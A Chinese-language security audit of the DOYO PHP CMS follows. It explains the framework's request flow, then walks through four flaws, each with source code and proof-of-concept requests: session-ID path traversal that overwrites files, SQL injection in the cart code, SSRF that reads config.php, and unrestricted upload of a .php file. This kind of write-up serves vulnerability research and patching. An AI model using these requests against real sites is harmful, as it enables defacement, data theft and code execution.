1.介绍

DOYO通用建站程序,PHP免费开源企业CMS建站系统。 下载地址 https://github.com/millken/doyocms

创建数据库 访问首页 按照步骤安装系统 即可。

2.目录介绍

使用 PhpStorm打开网站目录导入

前台和后台文件

3.网站运行流程

打开index.php

<?php
  require("config.php");
$doyoConfig['view']['config']['template_dir'] = APP_PATH.'/template/'.$doyoConfig['ext']['view_themes'];
require(DOYO_PATH."/sys.php");
spRun();

引入config.php文件 config.php定义了基础的配置信息和数据库配置信息

<?php
define("APP_PATH",dirname(__FILE__));
define("DOYO_PATH",APP_PATH."/include");
@date_default_timezone_set('PRC');
$doyoConfig = array(

'db' => array(
'host' => '127.0.0.1',			//数据库地址
'port' => 3306,					//数据库端口
'database' => 'www_d13_com',		//数据库名
'login' => 'root',				//数据库帐号
'password' => 'root',			//数据库密码
'prefix' => 'dy_',				//数据库表前缀
),

'ext' => array(
'version' => '2.3',
'update' => '20130118',
'auto_update' => 1,
'http_path' => 'http://wdoyo.com',
'site_title' => 'DOYO通用建站',
'site_keywords' => 'DOYO通用建站',
'site_description' => 'DOYO通用建站',
'secret_key' => '2c2e521b34d78b4ec78644a4d4dc9956',	//站内安全密钥,安装时会随机生成,一旦生成请勿修改,并请牢记,否则可能造成某些数据无法取回。
'view_themes' => 'default',
'site_html' => 0,
'site_html_dir' => 'html',
'site_html_rules' => '[mold]/[file].html',
'site_html_suffix' => '.html',
'site_html_index' => 0,
'enable_gzip' => 0,
'enable_gzip_level' => 6,
'cache_auto' => 1,
'cache_time' => 0,
'filetype' => 'jpg,gif,jpeg,bmp,png,swf,flv,wmv,wma,mp3,mp4,rar,zip,7z,txt,doc,docx,xls,xlsx',
'filesize' => 10485760,
'imgwater' => 0,
'imgwater_t' => 3,
'imgcaling' => 1,
'img_w' => 800,
'img_h' => 800,
'comment_audit' => 1,
'comment_user' => 0,
),
);

接着sys.php文件 位置 include/sys.php

<?php
if (substr(PHP_VERSION, 0, 1) != '5')exit("本系统运行环境要求PHP版本5及以上!");
if(!defined('APP_PATH')||!defined('DOYO_PATH')){exit('Access Denied');}
require(DOYO_PATH."/Functions.php");
$GLOBALS['G_DY'] = spConfigReady(require(DOYO_PATH."/inc.php"),$doyoConfig);


if('debug' == $GLOBALS['G_DY']['mode']){
	define("SP_DEBUG",TRUE); 
}else{
	define("SP_DEBUG",FALSE); 
}

if (SP_DEBUG) {
	if( substr(PHP_VERSION, 0, 3) == "5.3" ){
		error_reporting(E_ALL & ~E_NOTICE & ~E_WARNING & ~E_DEPRECATED);
	}else{
		error_reporting(E_ALL & ~E_NOTICE & ~E_WARNING);
	}
} else {
	error_reporting(0);
}
@set_magic_quotes_runtime(0);

import($GLOBALS['G_DY']["sp_core_path"]."/syController.php", FALSE, TRUE);
import($GLOBALS['G_DY']["sp_core_path"]."/syModel.php", FALSE, TRUE);
import($GLOBALS['G_DY']["sp_core_path"]."/syView.php", FALSE, TRUE);

if('' == $GLOBALS['G_DY']['url']["url_path_base"]){
	if(basename($_SERVER['SCRIPT_NAME']) === basename($_SERVER['SCRIPT_FILENAME']))
		$GLOBALS['G_DY']['url']["url_path_base"] = $_SERVER['SCRIPT_NAME'];
	elseif (basename($_SERVER['PHP_SELF']) === basename($_SERVER['SCRIPT_FILENAME']))
		$GLOBALS['G_DY']['url']["url_path_base"] = $_SERVER['PHP_SELF'];
	elseif (isset($_SERVER['ORIG_SCRIPT_NAME']) && basename($_SERVER['ORIG_SCRIPT_NAME']) === basename($_SERVER['SCRIPT_FILENAME']))
		$GLOBALS['G_DY']['url']["url_path_base"] = $_SERVER['ORIG_SCRIPT_NAME'];
}
$GLOBALS['WWW']=pathinfo($GLOBALS['G_DY']['url']["url_path_base"]);
$GLOBALS['WWW']=str_replace($GLOBALS['WWW']["basename"],'',$GLOBALS['G_DY']['url']["url_path_base"]);
$GLOBALS['skin']=$GLOBALS['WWW'].'skin/'.$doyoConfig['ext']['view_themes'].'/';

if(TRUE == $GLOBALS['G_DY']['url']["url_path_info"] && !empty($_SERVER['PATH_INFO'])){
	$url_args = explode("/", $_SERVER['PATH_INFO']);$url_sort = array();
	for($u = 1; $u < count($url_args); $u++){
		if($u == 1)$url_sort[$GLOBALS['G_DY']["url_controller"]] = $url_args[$u];
		elseif($u == 2)$url_sort[$GLOBALS['G_DY']["url_action"]] = $url_args[$u];
		else {$url_sort[$url_args[$u]] = isset($url_args[$u+1]) ? $url_args[$u+1] : "";$u+=1;}}
	if("POST" == strtoupper($_SERVER['REQUEST_METHOD'])){$_REQUEST = $_POST =  $_POST + $url_sort;
	}else{$_REQUEST = $_GET = $_GET + $url_sort;}
}

$__controller = isset($_REQUEST[$GLOBALS['G_DY']["url_controller"]]) ? 
	$_REQUEST[$GLOBALS['G_DY']["url_controller"]] : 
	$GLOBALS['G_DY']["default_controller"];
$__action = isset($_REQUEST[$GLOBALS['G_DY']["url_action"]]) ? 
	$_REQUEST[$GLOBALS['G_DY']["url_action"]] : 
	$GLOBALS['G_DY']["default_action"];
$GLOBALS['S']=array('http'=>syExt('http_path'),'title'=>syExt('site_title'),'keywords'=>syExt('site_keywords'),'description'=>syExt('site_description'));

sys.php 会引入 Functions.php index会调用 spRun函数运行

function spRun(){
	GLOBAL $__controller, $__action;
	if($__controller=='syaccount'){
		syError('route Error');
		exit;
	}
	syClass('sysession');
	spLaunch("router_prefilter");
	$handle_controller = syClass($__controller, null, $GLOBALS['G_DY']["controller_path"].'/'.$__controller.".php");
	if(!is_object($handle_controller) || !method_exists($handle_controller, $__action)){
		syError('route Error');
		exit;
	}
	$handle_controller->$__action();
	if(FALSE != $GLOBALS['G_DY']['view']['auto_display']){
		$__tplname = $__controller.$GLOBALS['G_DY']['view']['auto_display_sep'].
				$__action.$GLOBALS['G_DY']['view']['auto_display_suffix']; 
		$handle_controller->auto_display($__tplname);
	}
	spLaunch("router_postfilter");
}

4.mvc模式

mvc模式开发模式

MVC(Model–View–Controller)模式是软件工程中的一种软件架构模式,它把软件系统分为三个基本部分:模型(Model)、视图(View)和控制器(Controller)。

​

MVC模式的目的是实现一种动态的程序设计,简化后续对程序的修改和扩展,并且使程序某一部分的重复利用成为可能。除此之外,MVC模式通过对复杂度的简化,使程序的结构更加直观。软件系统在分离了自身的基本部分的同时,也赋予了各个基本部分应有的功能。专业人员可以通过自身的专长进行相关的分组:

​

模型(Model):程序员编写程序应有的功能(实现算法等)、数据库专家进行数据管理和数据库设计(可以实现具体的功能);

控制器(Controller):负责转发请求,对请求进行处理;

视图(View):界面设计人员进行图形界面设计。

从sys.php使用import函数引入 syController.php syModel.php /syView.php

import($GLOBALS['G_DY']["sp_core_path"]."/syController.php", FALSE, TRUE);
import($GLOBALS['G_DY']["sp_core_path"]."/syModel.php", FALSE, TRUE);
import($GLOBALS['G_DY']["sp_core_path"]."/syView.php", FALSE, TRUE);

import函数定义 使用 require引入这些文件

function import($sfilename, $auto_search = TRUE, $auto_error = FALSE){
	if(isset($GLOBALS['G_DY']["import_file"][md5($sfilename)]))return TRUE;
	if( TRUE == @is_readable($sfilename) ){
		require($sfilename); 
		$GLOBALS['G_DY']['import_file'][md5($sfilename)] = TRUE; 
		return TRUE;
	}else{
		if(TRUE == $auto_search){
			foreach(array_merge( $GLOBALS['G_DY']['include_path'], array($GLOBALS['G_DY']['model_path']), $GLOBALS['G_DY']['sp_include_path'] ) as $sp_include_path){
				if(isset($GLOBALS['G_DY']["import_file"][md5($sp_include_path.'/'.$sfilename)]))return TRUE;
				if( is_readable( $sp_include_path.'/'.$sfilename ) ){
					require($sp_include_path.'/'.$sfilename);

					$GLOBALS['G_DY']['import_file'][md5($sp_include_path.'/'.$sfilename)] = TRUE;
					return TRUE;
				}
			}
		}
	}
	if( TRUE == $auto_error )syError("未能找到名为:{$sfilename}的文件");
	return FALSE;
}

在sys.php http参数获取设置

if(TRUE == $GLOBALS['G_DY']['url']["url_path_info"] && !empty($_SERVER['PATH_INFO'])){
	$url_args = explode("/", $_SERVER['PATH_INFO']);$url_sort = array();
	for($u = 1; $u < count($url_args); $u++){
		if($u == 1)$url_sort[$GLOBALS['G_DY']["url_controller"]] = $url_args[$u];
		elseif($u == 2)$url_sort[$GLOBALS['G_DY']["url_action"]] = $url_args[$u];
		else {$url_sort[$url_args[$u]] = isset($url_args[$u+1]) ? $url_args[$u+1] : "";$u+=1;}}
	if("POST" == strtoupper($_SERVER['REQUEST_METHOD'])){$_REQUEST = $_POST =  $_POST + $url_sort;
	}else{$_REQUEST = $_GET = $_GET + $url_sort;}
}

$__controller = isset($_REQUEST[$GLOBALS['G_DY']["url_controller"]]) ? 
	$_REQUEST[$GLOBALS['G_DY']["url_controller"]] : 
	$GLOBALS['G_DY']["default_controller"];
$__action = isset($_REQUEST[$GLOBALS['G_DY']["url_action"]]) ? 
	$_REQUEST[$GLOBALS['G_DY']["url_action"]] : 
	$GLOBALS['G_DY']["default_action"];
var_dump($__controller);
var_dump($__action);
$GLOBALS['S']=array('http'=>syExt('http_path'),'title'=>syExt('site_title'),'keywords'=>syExt('site_keywords'),'description'=>syExt('site_description'));

当我们访问网站的时候 默认的是调用控制器是和方法都是index

访问会员模块

回到 spRun函数中 c等于 syaccount就会出报错

访问 index.php?c=syaccount截图


进入syClass函数传入sysession 判断传入的值是否符合规则 判断类是否被定义 没有就通过 import引入类

function syClass($class_name, $args = null, $sdir = null, $force_inst = FALSE){
	if(preg_match("/^[a-zA-Z0-9_\-]*$/",$class_name)==0)syError("类定义不存在,请检查。");
	if(TRUE != $force_inst)if(isset($GLOBALS['G_DY']["inst_class"][$class_name]))return $GLOBALS['G_DY']["inst_class"][$class_name];

	if(null != $sdir && !import($sdir) && !import($sdir.'/'.$class_name.'.php'))return FALSE;
	$has_define = FALSE;
	if(class_exists($class_name, false) || interface_exists($class_name, false)){
		$has_define = TRUE;
	}else{
		if( TRUE == import($class_name.'.php')){
			$has_define = TRUE;
		}
	}

	if(FALSE != $has_define){
		$argString = '';$comma = '';

		if(null != $args)for ($i = 0; $i < count($args); $i ++) { $argString .= $comma . "\$args[$i]"; $comma = ', ';}

		eval("\$GLOBALS['G_DY']['inst_class'][\$class_name]= new \$class_name($argString);");
		return $GLOBALS['G_DY']["inst_class"][$class_name];
	}
	syError($class_name."类定义不存在,请检查。");
}

import函数会引入 sysession文件

function import($sfilename, $auto_search = TRUE, $auto_error = FALSE){
	if(isset($GLOBALS['G_DY']["import_file"][md5($sfilename)]))return TRUE;
	if( TRUE == @is_readable($sfilename) ){


		require($sfilename); 
		$GLOBALS['G_DY']['import_file'][md5($sfilename)] = TRUE; 
		return TRUE;
	}else{
		if(TRUE == $auto_search){
			foreach(array_merge( $GLOBALS['G_DY']['include_path'], array($GLOBALS['G_DY']['model_path']), $GLOBALS['G_DY']['sp_include_path'] ) as $sp_include_path){

                if(isset($GLOBALS['G_DY']["import_file"][md5($sp_include_path.'/'.$sfilename)]))return TRUE;
				if( is_readable( $sp_include_path.'/'.$sfilename ) ){

					require($sp_include_path.'/'.$sfilename);

					$GLOBALS['G_DY']['import_file'][md5($sp_include_path.'/'.$sfilename)] = TRUE;
					return TRUE;
				}
			}
		}
	}
	if( TRUE == $auto_error )syError("未能找到名为:{$sfilename}的文件");
	return FALSE;
}

截图

接着返回 syClass函数中 创建实例

if(null != $sdir && !import($sdir) && !import($sdir.'/'.$class_name.'.php'))return FALSE;

在这段代码中已经引入了 sysession.php 所以 $has_define=true会进入 eval中创建实例。

5.php文件覆盖漏洞

文件位置 include/ext/sysession.php

这个类的主要的作用是自定义seesion文件的存放位置

<?php
if(!defined('APP_PATH')||!defined('DOYO_PATH')){exit('Access Denied');}
class sysession{
	private $session_Overdue;
	private $session_dir;
	public function __construct(){
		$this->session_Overdue=3600;
		$this->session_dir=$GLOBALS['G_DY']['sp_session'].'/';
		ini_set('session.save_handler','user');
		session_set_save_handler ( 
			array ($this, 'open' ), 
			array ($this, 'close' ), 
			array ($this, 'read' ), 
			array ($this, 'write' ), 
			array ($this, 'destroy' ), 
			array ($this, 'gc' )
		);
		if($_REQUEST['session_id']){if(preg_match("/^[a-zA-Z0-9]*$/", $_REQUEST['session_id']) != 0){session_id($_REQUEST['session_id']);}}
		session_start();
    }
	public function open(){
		return true;
	}
	public function close(){
		return true;
	}
	public function read($id){

		$value = $this->sessdb('r',$id);
		if($value){
			return $value['datas'];
		}else{
			return '';
		}
	}
	public function write($id,$datas){

		$ses=array('datas'=>$datas);
		$this->sessdb('w',$id,$ses,$this->session_Overdue);
		return true;
	}
	public function destroy($id){
		$this->sessdel();
		return $this->sessdb('c',$id);
	}
	public function gc($max){
		$this->sessdel();
		return true;
	}
    public function __destruct(){  
		$this->sessdel(); 
	} 

	private function sessdb($method, $name, $value = NULL, $life_time = -1){

		$filedir=$this->session_dir;
		if(!is_dir($filedir))__mkdirs($filedir);
		$sfile = $filedir.'/'.$name.".php";
		if('w' == $method){ 
			$life_time = ( -1 == $life_time ) ? '300000000' : $life_time;
			$value = '<?php die();?>'.( time() + $life_time ).serialize($value);
			return file_put_contents($sfile, $value);
		}elseif('c' == $method){
			return @unlink($sfile);
		}else{
			return $this->sesstime($sfile);
		}
	}
	private function sessdel() { 
		$dirName=@opendir($this->session_dir);
		while(($file = @readdir($dirName)) !== false){
			if($file!='.' && $file!='..'){
				$this->sesstime($this->session_dir.'/'.$file);
			}
		}
		closedir($dirName);
	}
	private function sesstime($sfile){
		if( !is_readable($sfile) )return false;
		$arg_data = file_get_contents($sfile);
		if( substr($arg_data, 14, 10) < time() ){
			@unlink($sfile); 
			return false;
		}
		return unserialize(substr($arg_data, 24));
	}
}

这段代码

		if($_REQUEST['session_id']){if(preg_match("/^[a-zA-Z0-9]*$/", $_REQUEST['session_id']) != 0){session_id($_REQUEST['session_id']);}}
		session_start();
    }

判断session_id是否存在 存在就判断正则 然后开启session_start()

session_set_save_handler(
    array($this, 'open'),     // 打开 session
    array($this, 'close'),    // 关闭 session
    array($this, 'read'),     // 读取 session
    array($this, 'write'),    // 写入 session
    array($this, 'destroy'),  // 删除 session
    array($this, 'gc')        // 垃圾回收
);

这段代码的作用是 注册自定义的 Session 存储处理器,用你自己的类方法来接管 PHP 的 session 存储、读取、销毁等逻辑。sysession创建实例的时候会自动调用 array($this, 'write'), // 读取 session

这是读取的函数

	public function write($id,$datas){

		$ses=array('datas'=>$datas);
		$this->sessdb('w',$id,$ses,$this->session_Overdue);
		ret

跟进 $this->sessdb函数 传入w就会写入后缀的文件 但是内容不能控制 所以只能造成 文件创建和文件覆盖漏洞。

	private function sessdb($method, $name, $value = NULL, $life_time = -1){

		$filedir=$this->session_dir;
		if(!is_dir($filedir))__mkdirs($filedir);
		$sfile = $filedir.'/'.$name.".php";
		if('w' == $method){ 
			$life_time = ( -1 == $life_time ) ? '300000000' : $life_time;
			$value = '<?php die();?>'.( time() + $life_time ).serialize($value);
			return file_put_contents($sfile, $value);
		}elseif('c' == $method){
			return @unlink($sfile);
		}else{
			return $this->sesstime($sfile);
		}
	}

在sessionid设置文件名 会在session自定义目录内生成后缀php的文件

由于内容不可控 可以设置网站配置文件等 破坏网站正常运行。

例如输入Cookie: PHPSESSID=../../../config配置文件被替换了。

访问网站

6.SQL注入漏洞

文件位置 include/syController.php syArgs类的作用是

获取http参数 传来的值 进行过滤。

class syArgs {
	private $args = null;
	public function __construct(){
		$this->args = $_REQUEST;
		$this->mescape=syClass('syModel');
	}

	public function get($name = null, $ftype = 0, $default = FALSE, $method = null)
	{
		if(null != $name){
			if ($this->has($name)){
				if( null != $method ){
					switch (strtolower($method)) {
						case 'get':
							return $this->filters($_GET[$name]);
						case 'post':
							return $this->filters($_POST[$name]);
						case 'cookie':
							return $this->filters($_COOKIE[$name]);
					}
				}
			return $this->filters($ftype,$this->args[$name]);
			}else{
				return (FALSE === $default) ? FALSE : $default;
			}
		}else{
			return $this->args;
		}
	}

	public function set($name, $value)
	{
		$this->args[$name] = $value;
	}

	public function filters($ftype,$value)
	{
		switch ($ftype) {
				case 0://整数
					return (int)$value;
				case 1://字符串
					$value=htmlspecialchars(trim($value), ENT_QUOTES);
					if(!get_magic_quotes_gpc())$value = addslashes($value);
					return $value;
				case 2://数组
					if($value=='')return '';
					array_walk_recursive($value, '$this->arrays');
					return $value;
				case 3://浮点
					return (float)$value;
				case 4:
					if(!get_magic_quotes_gpc())$value = addslashes($value);
					return trim($value);
		}
	}
	
	public function arrays(&$item, $key)
	{
		$item=trim($item);
		$item=htmlspecialchars($item, ENT_QUOTES);
		if(!get_magic_quotes_gpc())$item = addslashes($item);
	}

	public function has($name)
	{
		return isset($this->args[$name]);
	}

	public function __input($args = -1)
	{
		if( -1 == $args )return $this;
		@list( $name, $default, $method ) = $args;
		return $this->get($name, $default, $method);
	}

	public function request(){
		return $_SERVER["QUERY_STRING"];
	}
}

例如类 login 继承 syController类 调用 syArgs

进入 get函数

	public function get($name = null, $ftype = 0, $default = FALSE, $method = null)
	{
		if(null != $name){
			if ($this->has($name)){
				if( null != $method ){
					switch (strtolower($method)) {
						case 'get':
							return $this->filters($_GET[$name]);
						case 'post':
							return $this->filters($_POST[$name]);
						case 'cookie':
							return $this->filters($_COOKIE[$name]);
					}
				}
			return $this->filters($ftype,$this->args[$name]);
			}else{
				return (FALSE === $default) ? FALSE : $default;
			}
		}else{
			return $this->args;
		}
	}

接着调用 filters函数

	public function filters($ftype,$value)
	{
		switch ($ftype) {
				case 0://整数
					return (int)$value;
				case 1://字符串
					$value=htmlspecialchars(trim($value), ENT_QUOTES);
					if(!get_magic_quotes_gpc())$value = addslashes($value);
					return $value;
				case 2://数组
					if($value=='')return '';
					array_walk_recursive($value, '$this->arrays');
					return $value;
				case 3://浮点
					return (float)$value;
				case 4:
					if(!get_magic_quotes_gpc())$value = addslashes($value);
					return trim($value);
		}
	}

filter的作用是对字符串进行判断和过滤。当类型的是1的时候 htmlspecialchars对传入的字符串 实体转换防止xss漏洞 接着通过 get_magic_quotes_gpc函数对特殊字符进行过滤。重点 如果是传入2的时候 会调用 array_walk_recursive函数调用 $this->arrays函数

	public function arrays(&$item, $key)
	{
		$item=trim($item);
		$item=htmlspecialchars($item, ENT_QUOTES);
		if(!get_magic_quotes_gpc())$item = addslashes($item);
	}

对传入的数组进行空格过滤和实体转换和特殊字符过滤。arrays函数没有遍历并不会对单引号进行过滤。

echo $this->syArgs("adminuser",2);
echo $this->syArgs("adminuser",1);

搜索全局\$this->syArgs\(\s*(['"])(.*?)\1\s*,\s*2\s*\)

漏洞位置 source/pay.php 的 $attribute=$this->syArgs('attribute',2); 是传入find里 会产生sql注入

	function cartadd(){
		$aid=$this->syArgs('id');
		$quantity=$this->syArgs('quantity');
		$attribute=$this->syArgs('attribute',2);
		if(!$aid)exit('err,请指定内容');
		if(!$quantity)$quantity=1;
		$g=syDB('goodscart')->find(array('aid'=>$aid,'uid'=>$this->my['id'],'attribute'=>serialize($attribute)));
		if($g){
			syDB('goodscart')->incrField(array('aid'=>$aid,'uid'=>$this->my['id'],'attribute'=>serialize($attribute)),'num',$quantity);
		}else{
			$va=$this->m->find(array('id'=>$aid,'isshow'=>1),null,'tid,virtual');
			if(!$va)exit('err,指定内容不存在');
			if($va['virtual']==1)exit('err,本商品可直接购买,自动发货。');
			$p_type=syDB('attribute_type')->findSql('select distinct a.tid,a.aid,b.tid,b.isshow,b.orders,b.name from '.$this->db.'product_attribute a left join '.$this->db.'attribute_type b on (a.tid=b.tid) where a.aid='.$aid.' and b.isshow=1 order by b.orders desc,b.tid desc');
			foreach($p_type as $v){if(!$attribute[$v['tid']])exit('err,请选择['.$v['name'].']');}
			syDB('goodscart')->create(array('aid'=>$aid,'num'=>$quantity,'uid'=>$this->my['id'],'attribute'=>serialize($attribute),'addtime'=>time()));
		}
		echo 'ok';
	}

在前台注册用户 在yakit提交

使用sqlmap对注入进行测试

7.SSRF漏洞

在include/Functions.php中存在 curl_get函数 它的作用是 请求url内容

function curl_get($url) {
	$ch = curl_init();
	curl_setopt($ch, CURLOPT_TIMEOUT, 120);
	curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
	curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 1);
	$arr = explode("?", $url);
	if(count($arr) >= 2) {
		curl_setopt($ch, CURLOPT_POST, 1);
		curl_setopt($ch, CURLOPT_URL, $arr[0]);
		curl_setopt($ch, CURLOPT_POSTFIELDS, $arr[1]);
	}else{
		curl_setopt($ch, CURLOPT_URL, $url);
	}
	curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
	$res = curl_exec($ch);
	curl_close($ch);
	return $res;
}

查找调用 能利用的只有后台这个了。

文件位置 source/admin/a_sys.php

	function template_cache() {
		$y=$this->syArgs('y',1);
		if(!$y){
			$d='include/cache/log/';;
			$w=$this->syArgs('w');
			$f=date('Ym').'.txt';
			if($w==1){
				deleteDir($d);__mkdirs($d);
				$wt=@fopen($d.$f,"w");if($wt===false){echo 'false';}@fclose($wt);
			}else{
				if(!file_exists($d.$f)){echo 'false';}else{echo 'true';}
			}
		}else{
			if(function_exists('curl_init')){
				echo curl_get($y);
			}else{
				$data=file_get_contents($y);
				if( FALSE !== $data ){echo $data;}
			}
		}
	}

调用登录后台 /admin.php?c=a_sys&a=template_cache

读取配置文件

POST /admin.php?c=a_sys&a=template_cache HTTP/1.1
Host: www.d13.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=hnuc525btolmr4en816enmndu3
X-Requested-With: XMLHttpRequest
Origin: http://www.d13.com
Referer: http://www.d13.com/admin.php?a=headers
Content-Length: 42

y=file:///D:\phpstudy_pro\WWW\www.d13.com\config.php

运行截图

8.文件上传漏洞

位置 include/ext/syupload.php 这是一个文件上传类

 	public function __construct($allow_types,$max_size,$img_water,$img_caling,$img_w,$img_h) {
 		$this->file_name   = 'date';
		$this->save_path   = 'uploads/'.date('Y').'/'.date('m').'/';
		$this->allow_types = $allow_types ? $allow_types : syExt('filetype');
		$this->max_size = $max_size ? $max_size : syExt('filesize');
		$this->img_water = $img_water ? $img_water : syExt('imgwater');
		$this->img_caling = $img_caling ? $img_caling : syExt('imgcaling');
		$this->img_w = $img_w ? $img_w : syExt('img_w');
		$this->img_h = $img_h ? $img_h : syExt('img_h');
		$this->img_water_t = syExt('imgwater_t');
 	}

$this->allow_types 的值 如果有值传递过来就获取$allow_types的值 没有就拿配置文件里的白名单

uploads继承 syController 在index里使用 allow参数 设置白名单

调用这个的地方是后台的KindEditor编辑中


使用yakit抓包填写 allow=php即可上传成功

上传参数数据包

POST /admin.php?c=uploads&tid=&isfiles=editor_KindEditor&dir=image&allow=php HTTP/1.1
Host: 
Upgrade-Insecure-Requests: 1
Referer: 
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPsAo4Q9ZzQyplVq7
Origin: http://www.d13.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=hnuc525btolmr4en816enmndu3
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Length: 880079

------WebKitFormBoundaryPsAo4Q9ZzQyplVq7
Content-Disposition: form-data; name="localUrl"

111.png
------WebKitFormBoundaryPsAo4Q9ZzQyplVq7
Content-Disposition: form-data; name="editor_KindEditor"; filename="1.php"
Content-Type: image/png

<?php phpinfo();?>
------WebKitFormBoundaryPsAo4Q9ZzQyplVq7--